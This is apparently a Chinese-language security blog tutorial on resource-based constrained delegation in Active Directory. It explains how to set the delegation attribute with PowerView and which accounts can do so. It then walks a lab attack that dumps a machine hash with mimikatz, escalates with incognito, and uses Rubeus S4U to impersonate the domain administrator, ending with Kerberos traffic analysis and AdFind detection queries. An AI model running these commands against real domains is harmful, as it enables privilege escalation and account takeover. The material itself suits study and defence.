基于资源的约束性委派
概述
微软在Windows Server 2012中新引入了基于资源的约束性委派(Resource Based Constrained Delegation),简称RBCD。
基于资源的约束性委派将不需要通过域管理员进行修改,而是将设置属性的权限给了服务资源本身。
以WEB服务器和文件服务器为例,传统的约束性委派需要在WEB服务器上设置委派属性,以指定对文件服务器上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在文件服务器上设置资源委派,以允许WEB服务器对文件服务器上的服务进行委派。
设置方式
基于资源的约束性委派中,属性值为msDS-AllowedToActOnBehalfOfOtherIdentity,但是这是值任何用户都不能修改。
WEB服务器的机器名为zhangsan.xbxaq.com,文件系统服务器的机器用户名为server-16.xbxaq.com
登录server-16.xbxaq.com计算机,以administrator的身份登录计算机,打开powershell执行如下的命令进行修改msDS-AllowedToActOnBehalfOfOtherIdentit
1、设置变量值
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WEB服务器的SID值)";
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1445356431-3472965171-1941165345-1104)";
2、转换为16进制
$SDBytes = New-Object byte[] ($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes,0);
3、设置RBCD
导入Powerview.sp1脚本,执行以下命令
Import-Moudle .\Powerview.sp1
Get-DomainComputer 设置委派的机器名 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Get-DomainComputer server-16.xbxaq.com | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
设置成功
4、清除RBCD
Set-DomainObject 设置委派的机器名 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
Set-DomainObject server-16.xbxaq.com -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
配置RBCD的用户
并不是所有的用户都可以设置RBCD,需要的条件如下:
- 当机器加入域时使用的账户
- 计算机的机器用户(system)
- 域管理员(administrator)
- Account Operator组中的成员
当机器加入域时使用的账户
在大型内网环境中,将机器加入到域环境中一般不会用到域管权限,而是使用一个专门用来加入域的域用户进行操作。默认情况下,并非只有域管理员才可以将普通用户加入到域环境。
提示:域中的每一个普通账号都有将10台电脑加入域的权限,默认是十台,如果要修改可以更改ms-DS-MachineAccountQuota的值。
用zhong的域内用户使得机器加入域环境中
一旦电脑使用普通的域用户加入了域,在机器的属性中mS-DS-CreatorSID就是加入域用户的 SID值
使用zhong用户登录电脑,执行配置RBCD的命令
机器用户
计算机中的机器用户也可以进行配置RBCD,可使用令牌提权到system权限,system权限可以代表机器用户执行RBCD
incognito.exe工具
列出令牌
incognito.exe list_tokens -u
如果有system令牌的话如下
使用System令牌
incognito.exe execute -c "NT AUTHORITY\SYSTEM" powershell.exe
配置RBCD
域内管理员
域管理员是可以配置RBCD的
Account Operator组中的成员
Account Operators组,该组是内置的本地域组。该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。在默认情况下,该组中没有成员。也就是说,该组默认是域内管理用户和组的特殊权限组。可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录。
默认情况下成员为空
添加一个成员到Account Operators组中
使用liming账户配置RBCD
S4U协议分析
使用Rubeus.exe工具,伪造可任意用户登录
Rubeus.exe s4u /user:用户名 /rc4:对应的hash值 /domain:域名 /msdsspn:伪造的服务/委派机器名 /impersonateuser:伪造的用户 /ptt
注意:可以伪造任意服务,因为没有指定服务
环境准备
server 2012 dbcd.xbxaq.com设置委派
目前已经控制yh机器,并得知rbcd机器设置了基于资源性的约束性委派
1、使用mimikatz工具获取yh机器用户的hash值
2、Rubeus.exe工具
Rubeus.exe s4u /user:YH$ /rc4:5bc6dac2ad6010504b722258ff8ff3e7 /domain:xbxaq.com /msdsspn:CIFS/rbcd.xbxaq.com /impersonateuser:administrator /ptt
流量分析
执行Rubeus工具相关命令后共有六条kerberos数据
第一条 AS-REQ
YH$用户提供自己的身份信息,请求自己的TGT(该TGT是可以转发的)
可以转发的TGT
第二条数据 AS-REP
返回YH用户的TGT票据
第三条数据 TGS-REQ
使用上一步得到的YH$票据(在数据包内),以administrator的身份向TGS申请一张访问自身的ST票据
第四条数据 TGS-REP
TGS返回给给YH$用户一张 administrator用户访问自身的ST票据
第五条数据 TGS-REQ
YH$得到ST票据之后,以该ST票据为证据,申请一张administrator用户访问RBCD机器的CIFS服务的ST票据(可以申请任意服务的ST票据)。这里使用的是S4U2Proxy协议
第六条数据 TGS-REP
TGS返回YH$用户,以administrator用户身份访问rbcd机器的CIFS服务的ST票据
查询已配置机器
查询配置了RBCD的机器账户
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
查询已配置RBCD的域账户
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
查询机器是由哪个用户加入到域中的(查询的是SID值)
AdFind.exe -b "DC=xbxaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
通过SID值查询用户
AdFind.exe -sc adsid:S-1-5-21-1445356431-3472965171-1941165345-1111 -d
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论